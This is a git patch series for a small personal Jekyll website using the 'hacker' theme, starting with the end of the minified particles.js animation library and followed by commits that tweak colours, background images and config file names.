o=n-p*(n-a)/i.interactivity.modes.bubble.duration,l=a-o;d=a+l,"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else if(r<=i.interactivity.modes.bubble.distance){if(void 0!=s)var v=s;else var v=n;if(v!=a){var d=n-p*(n-a)/i.interactivity.modes.bubble.duration;"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else"size"==c&&(e.radius_bubble=void 0),"opacity"==c&&(e.opacity_bubble=void 0)}if(i.interactivity.events.onhover.enable&&isInArray("bubble",i.interactivity.events.onhover.mode)){var s=e.x-i.interactivity.mouse.pos_x,n=e.y-i.interactivity.mouse.pos_y,r=Math.sqrt(s*s+n*n),c=1-r/i.interactivity.modes.bubble.distance;if(r<=i.interactivity.modes.bubble.distance){if(c>=0&&"mousemove"==i.interactivity.status){if(i.interactivity.modes.bubble.size!=i.particles.size.value)if(i.interactivity.modes.bubble.size>i.particles.size.value){var o=e.radius+i.interactivity.modes.bubble.size*c;o>=0&&(e.radius_bubble=o)}else{var l=e.radius-i.interactivity.modes.bubble.size,o=e.radius-l*c;o>0?e.radius_bubble=o:e.radius_bubble=0}if(i.interactivity.modes.bubble.opacity!=i.particles.opacity.value)if(i.interactivity.modes.bubble.opacity>i.particles.opacity.value){var v=i.interactivity.modes.bubble.opacity*c;v>e.opacity&&v<=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}else{var v=e.opacity-(i.particles.opacity.value-i.interactivity.modes.bubble.opacity)*c;v=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}}}else a();"mouseleave"==i.interactivity.status&&a()}else if(i.interactivity.events.onclick.enable&&isInArray("bubble",i.interactivity.events.onclick.mode)){if(i.tmp.bubble_clicking){var s=e.x-i.interactivity.mouse.click_pos_x,n=e.y-i.interactivity.mouse.click_pos_y,r=Math.sqrt(s*s+n*n),p=((new Date).getTime()-i.interactivity.mouse.click_time)/1e3;p>i.interactivity.modes.bubble.duration&&(i.tmp.bubble_duration_end=!0),p>2*i.interactivity.modes.bubble.duration&&(i.tmp.bubble_clicking=!1,i.tmp.bubble_duration_end=!1)}i.tmp.bubble_clicking&&(t(i.interactivity.modes.bubble.size,i.particles.size.value,e.radius_bubble,e.radius,"size"),t(i.interactivity.modes.bubble.opacity,i.particles.opacity.value,e.opacity_bubble,e.opacity,"opacity"))}},i.fn.modes.repulseParticle=function(e){function a(){var a=Math.atan2(d,p);if(e.vx=u*Math.cos(a),e.vy=u*Math.sin(a),"bounce"==i.particles.move.out_mode){var t={x:e.x+e.vx,y:e.y+e.vy};t.x+e.radius>i.canvas.w?e.vx=-e.vx:t.x-e.radius<0&&(e.vx=-e.vx),t.y+e.radius>i.canvas.h?e.vy=-e.vy:t.y-e.radius<0&&(e.vy=-e.vy)}}if(i.interactivity.events.onhover.enable&&isInArray("repulse",i.interactivity.events.onhover.mode)&&"mousemove"==i.interactivity.status){var t=e.x-i.interactivity.mouse.pos_x,s=e.y-i.interactivity.mouse.pos_y,n=Math.sqrt(t*t+s*s),r={x:t/n,y:s/n},c=i.interactivity.modes.repulse.distance,o=100,l=clamp(1/c*(-1*Math.pow(n/c,2)+1)*c*o,0,50),v={x:e.x+r.x*l,y:e.y+r.y*l};"bounce"==i.particles.move.out_mode?(v.x-e.radius>0&&v.x+e.radius0&&v.y+e.radius=m&&a()}else 0==i.tmp.repulse_clicking&&(e.vx=e.vx_i,e.vy=e.vy_i)},i.fn.modes.grabParticle=function(e){if(i.interactivity.events.onhover.enable&&"mousemove"==i.interactivity.status){var a=e.x-i.interactivity.mouse.pos_x,t=e.y-i.interactivity.mouse.pos_y,s=Math.sqrt(a*a+t*t);if(s<=i.interactivity.modes.grab.distance){var n=i.interactivity.modes.grab.line_linked.opacity-s/(1/i.interactivity.modes.grab.line_linked.opacity)/i.interactivity.modes.grab.distance;if(n>0){var r=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+r.r+","+r.g+","+r.b+","+n+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(i.interactivity.mouse.pos_x,i.interactivity.mouse.pos_y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}}},i.fn.vendors.eventsListeners=function(){"window"==i.interactivity.detect_on?i.interactivity.el=window:i.interactivity.el=i.canvas.el,(i.interactivity.events.onhover.enable||i.interactivity.events.onclick.enable)&&(i.interactivity.el.addEventListener("mousemove",function(e){if(i.interactivity.el==window)var a=e.clientX,t=e.clientY;else var a=e.offsetX||e.clientX,t=e.offsetY||e.clientY;i.interactivity.mouse.pos_x=a,i.interactivity.mouse.pos_y=t,i.tmp.retina&&(i.interactivity.mouse.pos_x*=i.canvas.pxratio,i.interactivity.mouse.pos_y*=i.canvas.pxratio),i.interactivity.status="mousemove"}),i.interactivity.el.addEventListener("mouseleave",function(e){i.interactivity.mouse.pos_x=null,i.interactivity.mouse.pos_y=null,i.interactivity.status="mouseleave"})),i.interactivity.events.onclick.enable&&i.interactivity.el.addEventListener("click",function(){if(i.interactivity.mouse.click_pos_x=i.interactivity.mouse.pos_x,i.interactivity.mouse.click_pos_y=i.interactivity.mouse.pos_y,i.interactivity.mouse.click_time=(new Date).getTime(),i.interactivity.events.onclick.enable)switch(i.interactivity.events.onclick.mode){case"push":i.particles.move.enable?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):1==i.interactivity.modes.push.particles_nb?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):i.interactivity.modes.push.particles_nb>1&&i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb);break;case"remove":i.fn.modes.removeParticles(i.interactivity.modes.remove.particles_nb);break;case"bubble":i.tmp.bubble_clicking=!0;break;case"repulse":i.tmp.repulse_clicking=!0,i.tmp.repulse_count=0,i.tmp.repulse_finish=!1,setTimeout(function(){i.tmp.repulse_clicking=!1},1e3*i.interactivity.modes.repulse.duration)}})},i.fn.vendors.densityAutoParticles=function(){if(i.particles.number.density.enable){var e=i.canvas.el.width*i.canvas.el.height/1e3;i.tmp.retina&&(e/=2*i.canvas.pxratio);var a=e*i.particles.number.value/i.particles.number.density.value_area,t=i.particles.array.length-a;0>t?i.fn.modes.pushParticles(Math.abs(t)):i.fn.modes.removeParticles(t)}},i.fn.vendors.checkOverlap=function(e,a){for(var t=0;tv;v++)e.lineTo(i,0),e.translate(i,0),e.rotate(l);e.fill(),e.restore()},i.fn.vendors.exportImg=function(){window.open(i.canvas.el.toDataURL("image/png"),"_blank")},i.fn.vendors.loadImg=function(e){if(i.tmp.img_error=void 0,""!=i.particles.shape.image.src)if("svg"==e){var a=new XMLHttpRequest;a.open("GET",i.particles.shape.image.src),a.onreadystatechange=function(e){4==a.readyState&&(200==a.status?(i.tmp.source_svg=e.currentTarget.response,i.fn.vendors.checkBeforeDraw()):(console.log("Error pJS - Image not found"),i.tmp.img_error=!0))},a.send()}else{var t=new Image;t.addEventListener("load",function(){i.tmp.img_obj=t,i.fn.vendors.checkBeforeDraw()}),t.src=i.particles.shape.image.src}else console.log("Error pJS - No image.src"),i.tmp.img_error=!0},i.fn.vendors.draw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type?i.tmp.count_svg>=i.particles.number.value?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):void 0!=i.tmp.img_obj?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame))},i.fn.vendors.checkBeforeDraw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type&&void 0==i.tmp.source_svg?i.tmp.checkAnimFrame=requestAnimFrame(check):(cancelRequestAnimFrame(i.tmp.checkAnimFrame),i.tmp.img_error||(i.fn.vendors.init(),i.fn.vendors.draw())):(i.fn.vendors.init(),i.fn.vendors.draw())},i.fn.vendors.init=function(){i.fn.retinaInit(),i.fn.canvasInit(),i.fn.canvasSize(),i.fn.canvasPaint(),i.fn.particlesCreate(),i.fn.vendors.densityAutoParticles(),i.particles.line_linked.color_rgb_line=hexToRgb(i.particles.line_linked.color)},i.fn.vendors.start=function(){isInArray("image",i.particles.shape.type)?(i.tmp.img_type=i.particles.shape.image.src.substr(i.particles.shape.image.src.length-3),i.fn.vendors.loadImg(i.tmp.img_type)):i.fn.vendors.checkBeforeDraw()},i.fn.vendors.eventsListeners(),i.fn.vendors.start()};Object.deepExtend=function(e,a){for(var t in a)a[t]&&a[t].constructor&&a[t].constructor===Object?(e[t]=e[t]||{},arguments.callee(e[t],a[t])):e[t]=a[t];return e},window.requestAnimFrame=function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)}}(),window.cancelRequestAnimFrame=function(){return window.cancelAnimationFrame||window.webkitCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||window.oCancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||clearTimeout}(),window.pJSDom=[],window.particlesJS=function(e,a){"string"!=typeof e&&(a=e,e="particles-js"),e||(e="particles-js");var t=document.getElementById(e),i="particles-js-canvas-el",s=t.getElementsByClassName(i);if(s.length)for(;s.length>0;)t.removeChild(s[0]);var n=document.createElement("canvas");n.className=i,n.style.width="100%",n.style.height="100%";var r=document.getElementById(e).appendChild(n);null!=r&&pJSDom.push(new pJS(e,a))},window.particlesJS.load=function(e,a,t){var i=new XMLHttpRequest;i.open("GET",a),i.onreadystatechange=function(a){if(4==i.readyState)if(200==i.status){var s=JSON.parse(a.currentTarget.response);window.particlesJS(e,s),t&&t()}else console.log("Error pJS - XMLHttpRequest status: "+i.status),console.log("Error pJS - File config not found")},i.send()}; From 41ece9040496a635f80d5cc642caf0109a4628dd Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 17:03:40 +0200 Subject: [PATCH 0824/1701] Update index.html --- index.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.html b/index.html index 252ad9d4abf..79b1c306c65 100644 --- a/index.html +++ b/index.html @@ -17,7 +17,7 @@
From fe92e31db61c58d765762c5fafa2e71e06d266b3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 17:05:50 +0200 Subject: [PATCH 0825/1701] Update index.html --- index.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.html b/index.html index 79b1c306c65..ae1c4fcdf60 100644 --- a/index.html +++ b/index.html @@ -17,7 +17,7 @@
From 2489686fae058ec6e572d992c31de1ad971b9026 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 17:09:13 +0200 Subject: [PATCH 0826/1701] Update index.html --- index.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.html b/index.html index ae1c4fcdf60..83a22b8093f 100644 --- a/index.html +++ b/index.html @@ -2,7 +2,7 @@ - + Particles JS From 19d381fe93cce6802f2f497112f0e8d7a7a6729c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 17:18:14 +0200 Subject: [PATCH 0827/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index cb24e3a3d85..0210c14b5a1 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -14,7 +14,7 @@ body { } particles-js { - height: 100vh; + height: 100%; width: 100%; position: fixed; z-index: -1; From 97d18929eda3c74a5b6e5e5eb4ad3b0905cc0fba Mon Sep 17 00:00:00 2001 From: F1r0x Date: Wed, 1 Jun 2022 18:44:12 +0200 Subject: [PATCH 0828/1701] Hola 2 --- assets/css/.estilos.css.swp | Bin 0 -> 1024 bytes assets/css/estilos.css | 24 ++++++++++++ index.html | 71 +++++++++++++++++++++++++++++------- js/.app.js.swp | Bin 0 -> 1024 bytes js/app.js | 3 +- 5 files changed, 82 insertions(+), 16 deletions(-) create mode 100644 assets/css/.estilos.css.swp create mode 100644 js/.app.js.swp diff --git a/assets/css/.estilos.css.swp b/assets/css/.estilos.css.swp new file mode 100644 index 0000000000000000000000000000000000000000..3a325eaab3bb99a5fec19a7514266e77aa105ecb GIT binary patch literal 1024 zcmYc?$V<%2S1{ExVL$=y)0i02GK=ynP(-nF!0L3%GK)$|6LXSqYe_9G$;` - -
-
- -
- -
+
+
+ +
+
+ +
+ +
+
+
+ + + + + + + +
+ +
+
+ +
+ +
+
+ + + + + + + + + - +
+ +
+
+ +
+ +
+
+ - - - - - + + + + + + + + diff --git a/js/.app.js.swp b/js/.app.js.swp new file mode 100644 index 0000000000000000000000000000000000000000..d32d4ef2b053743d23e0472d7135e54a8110e1a7 GIT binary patch literal 1024 zcmYc?$V<%2S1{ExVL$ Date: Wed, 1 Jun 2022 18:57:05 +0200 Subject: [PATCH 0829/1701] Add files via upload --- assets/images/fondonegro.jpg | Bin 0 -> 32622 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 assets/images/fondonegro.jpg diff --git a/assets/images/fondonegro.jpg b/assets/images/fondonegro.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e6dbfcf9f567ff08797fa769773136146a905439 GIT binary patch literal 32622 zcmeIuO)dmM7zW@PW@yu6^w5oEElH5E^AkY?F&iQ-AR!YXLi{8S;yxA*;b-F{TC?H? z7SCJXrm8mY_mnT?N630Rdpn_43!zq>P=1Eht;6ljqy58`*gu&+zdG&5`^ANBoVmL> zyX?ok-frw2Z12YVrS9xpyuLfWIJ Date: Wed, 1 Jun 2022 18:59:01 +0200 Subject: [PATCH 0830/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index 3c5b9d923eb..59d2cdff1c9 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -17,7 +17,7 @@ $container-max-width: 1000px; body { margin: 0; padding: 0; - background: $body-background url("../images/bkg.png") 0 0; + background: $body-background url("../images/fondonegro.jpg") 0 0; color: $body-foreground; font-size: 16px; line-height: 1.5; From 28bc8f4b9a9bc41604b05dc3b721af9d040d5951 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 19:00:45 +0200 Subject: [PATCH 0831/1701] Add files via upload --- assets/images/fondonegro.png | Bin 0 -> 24295 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 assets/images/fondonegro.png diff --git a/assets/images/fondonegro.png b/assets/images/fondonegro.png new file mode 100644 index 0000000000000000000000000000000000000000..67b2a89651fa698e9f55636ffb92535b228f0fe5 GIT binary patch literal 24295 zcmeI)F-yZh7{>88O@^b;Rs|OYElB+gE`lksHiNZDx(RJRKtXVEYp{s8Ig6{S4y7N! z%`RQV)}ijj!J$Qvrn!QX&>@Qu|2NzP-rR-vH$EJ>E|(5c$+e`2q}-x&ERqQy)u~E^ z%jVljE?msByz42Y2Jc5hk*v6m?VaC^o(v-_`Zv?Z52g1r5I_I{1Q0*~0R#|0009IL zKp@rv{%gzBVSr?VmqNM1KmY**5I_I{1Q0*~0R#|00D)KtY>&PUf9?V-XsDh^TRIo; zzpLx^g7+vPfB*srAbSW8C#{x_UAb Date: Wed, 1 Jun 2022 19:01:44 +0200 Subject: [PATCH 0832/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index 59d2cdff1c9..dda092bc81b 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -17,7 +17,7 @@ $container-max-width: 1000px; body { margin: 0; padding: 0; - background: $body-background url("../images/fondonegro.jpg") 0 0; + background: $body-background url("../images/fondonegro.png") 0 0; color: $body-foreground; font-size: 16px; line-height: 1.5; From df6093b4d2ae53f516e85b6c522ec3c05f4a2584 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 19:06:14 +0200 Subject: [PATCH 0833/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index dda092bc81b..bc515f11bc3 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -164,7 +164,7 @@ pre { border: 1px solid rgba(255, 255, 255, 0.15); padding: 10px; font-size: 16px; - color: #b5e853; + color: #66ffa8; border-radius: 2px; word-wrap: normal; overflow: auto; From 3174ed663f19bfc1db803a2c3ecc2bf4da7fa346 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 19:07:38 +0200 Subject: [PATCH 0834/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index bc515f11bc3..a0f4133db99 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -199,7 +199,7 @@ hr { height: 0; border: 0; border-bottom: 1px dashed #b5e853; - color: #b5e853; + color: #66ffa8; } /* Buttons From abf1638b989423b0b60a9b8292ea3b31932f026d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 19:11:26 +0200 Subject: [PATCH 0835/1701] Update _default_colors.scss --- _sass/_default_colors.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/_default_colors.scss b/_sass/_default_colors.scss index dee878d702a..97aef1d8c39 100644 --- a/_sass/_default_colors.scss +++ b/_sass/_default_colors.scss @@ -3,7 +3,7 @@ $alto: #d0d0d0; $bouquet: #aa759f; $chelsea-cucumber: #90a959; $cod-grey: #151515; -$conifer: #b5e853; +$conifer: ##66ffa8; $dove-grey: #666; $gallery: #eaeaea; $grey: #888; From e75f2e23fa2bf255e4fb12f42cc3cf2470ff1db8 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 19:18:14 +0200 Subject: [PATCH 0836/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index a0f4133db99..f1bf65bc028 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -187,7 +187,7 @@ table { th { text-align: left; - border-bottom: 1px dashed #b5e853; + border-bottom: 1px dashed #66ffa8; padding: 5px 10px; } @@ -198,7 +198,7 @@ td { hr { height: 0; border: 0; - border-bottom: 1px dashed #b5e853; + border-bottom: 1px dashed #66ffa8; color: #66ffa8; } From 85094e6d1a62ff52ba3192af446645fb06baf5d5 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 19:25:42 +0200 Subject: [PATCH 0837/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index f1bf65bc028..889a9ad0e13 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -164,7 +164,7 @@ pre { border: 1px solid rgba(255, 255, 255, 0.15); padding: 10px; font-size: 16px; - color: #66ffa8; + color: #75b5aa; border-radius: 2px; word-wrap: normal; overflow: auto; @@ -187,7 +187,7 @@ table { th { text-align: left; - border-bottom: 1px dashed #66ffa8; + border-bottom: 1px dashed #aa759f; padding: 5px 10px; } @@ -198,8 +198,8 @@ td { hr { height: 0; border: 0; - border-bottom: 1px dashed #66ffa8; - color: #66ffa8; + border-bottom: 1px dashed #aa759f; + color: #aa759f; } /* Buttons From f58808f2e3b343c5691489afd4ae931af98b64a9 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 19:30:24 +0200 Subject: [PATCH 0838/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index 889a9ad0e13..ba6ae8bab31 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -3,7 +3,7 @@ $body-background: $cod-grey !default; $body-foreground: $gallery !default; -$header: $conifer !default; +/* $header: $conifer !default; */ $blockquote-color: $silver-chalice !default; $blockquote-border: $dove-grey !default; $container-max-width: 1000px; From b3f2442fe6ee57525d5cd88e77aa780aa1b3cb27 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 20:24:13 +0200 Subject: [PATCH 0839/1701] Delete .estilos.css.swp --- assets/css/.estilos.css.swp | Bin 1024 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 assets/css/.estilos.css.swp diff --git a/assets/css/.estilos.css.swp b/assets/css/.estilos.css.swp deleted file mode 100644 index 3a325eaab3bb99a5fec19a7514266e77aa105ecb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1024 zcmYc?$V<%2S1{ExVL$=y)0i02GK=ynP(-nF!0L3%GK)$|6LXSqYe_9G$;` Date: Wed, 1 Jun 2022 20:27:45 +0200 Subject: [PATCH 0840/1701] Rename _default_colors.scss to default_colors.scss --- _sass/{_default_colors.scss => default_colors.scss} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename _sass/{_default_colors.scss => default_colors.scss} (100%) diff --git a/_sass/_default_colors.scss b/_sass/default_colors.scss similarity index 100% rename from _sass/_default_colors.scss rename to _sass/default_colors.scss From 63b8d7fed0580d067131d97c3bf49b727df8362b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 20:34:46 +0200 Subject: [PATCH 0841/1701] Rename _config.yml to _config1.yml --- _config.yml => _config1.yml | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename _config.yml => _config1.yml (100%) diff --git a/_config.yml b/_config1.yml similarity index 100% rename from _config.yml rename to _config1.yml From 7a832edde06e4f3b0da460d4ee2eb02cb851f25b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 20:36:35 +0200 Subject: [PATCH 0842/1701] Create _config.yml --- _config.yml | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 _config.yml diff --git a/_config.yml b/_config.yml new file mode 100644 index 00000000000..735cf2a0327 --- /dev/null +++ b/_config.yml @@ -0,0 +1,61 @@ + +
+
+ +
+
+ +
+ +
+
+ + + + + + + +
+
+ +
+
+ +
+ +
+
+ + + + + + + + + + +
+ +
+
+ +
+ +
+
+ + + + + + + + + + + From ca43108f9f9175193b1227dc15fbcc08441ba004 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 20:39:49 +0200 Subject: [PATCH 0843/1701] Rename _config1.yml to _config1.html --- _config1.yml => _config1.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename _config1.yml => _config1.html (100%) diff --git a/_config1.yml b/_config1.html similarity index 100% rename from _config1.yml rename to _config1.html From d76734a8c0aa1ce9fe67b2b73874bb6b89610e4d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 20:42:11 +0200 Subject: [PATCH 0844/1701] Rename _config1.html to _config1.yml --- _config1.html => _config1.yml | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename _config1.html => _config1.yml (100%) diff --git a/_config1.html b/_config1.yml similarity index 100% rename from _config1.html rename to _config1.yml From b9c3fc44364324c02212abb1368cc1c56969d115 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 20:42:41 +0200 Subject: [PATCH 0845/1701] Rename _config.yml to _config.html --- _config.yml => _config.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename _config.yml => _config.html (100%) diff --git a/_config.yml b/_config.html similarity index 100% rename from _config.yml rename to _config.html From 3eec2932689220a12f33285a40de3c6c224f4a01 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 20:53:12 +0200 Subject: [PATCH 0846/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index ba6ae8bab31..889a9ad0e13 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -3,7 +3,7 @@ $body-background: $cod-grey !default; $body-foreground: $gallery !default; -/* $header: $conifer !default; */ +$header: $conifer !default; $blockquote-color: $silver-chalice !default; $blockquote-border: $dove-grey !default; $container-max-width: 1000px; From 22dd47259e40d88510b74dd79665d0753ceef53b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 20:58:46 +0200 Subject: [PATCH 0847/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index 889a9ad0e13..2c1bc8ba7ee 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -3,7 +3,7 @@ $body-background: $cod-grey !default; $body-foreground: $gallery !default; -$header: $conifer !default; +$header: $conifer; $blockquote-color: $silver-chalice !default; $blockquote-border: $dove-grey !default; $container-max-width: 1000px; From 1215c9b2004edfc1d8ece6bcb53073fab3655574 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 21:10:25 +0200 Subject: [PATCH 0848/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index 2c1bc8ba7ee..889a9ad0e13 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -3,7 +3,7 @@ $body-background: $cod-grey !default; $body-foreground: $gallery !default; -$header: $conifer; +$header: $conifer !default; $blockquote-color: $silver-chalice !default; $blockquote-border: $dove-grey !default; $container-max-width: 1000px; From 504128f94a0f0dc983961f257df018f51442f343 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 21:12:35 +0200 Subject: [PATCH 0849/1701] Update default_colors.scss --- _sass/default_colors.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/default_colors.scss b/_sass/default_colors.scss index 97aef1d8c39..dee878d702a 100644 --- a/_sass/default_colors.scss +++ b/_sass/default_colors.scss @@ -3,7 +3,7 @@ $alto: #d0d0d0; $bouquet: #aa759f; $chelsea-cucumber: #90a959; $cod-grey: #151515; -$conifer: ##66ffa8; +$conifer: #b5e853; $dove-grey: #666; $gallery: #eaeaea; $grey: #888; From 29e31173abf7eb52bfae20471213e80c3ff161a1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 21:15:47 +0200 Subject: [PATCH 0850/1701] Rename _config.html to _config11.html --- _config.html => _config11.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename _config.html => _config11.html (100%) diff --git a/_config.html b/_config11.html similarity index 100% rename from _config.html rename to _config11.html From a7f29a4f5ba3173f55a0d2aa394483ad796fbb8f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 21:16:35 +0200 Subject: [PATCH 0851/1701] Rename _config1.yml to _config.yml --- _config1.yml => _config.yml | 0 1 file changed, 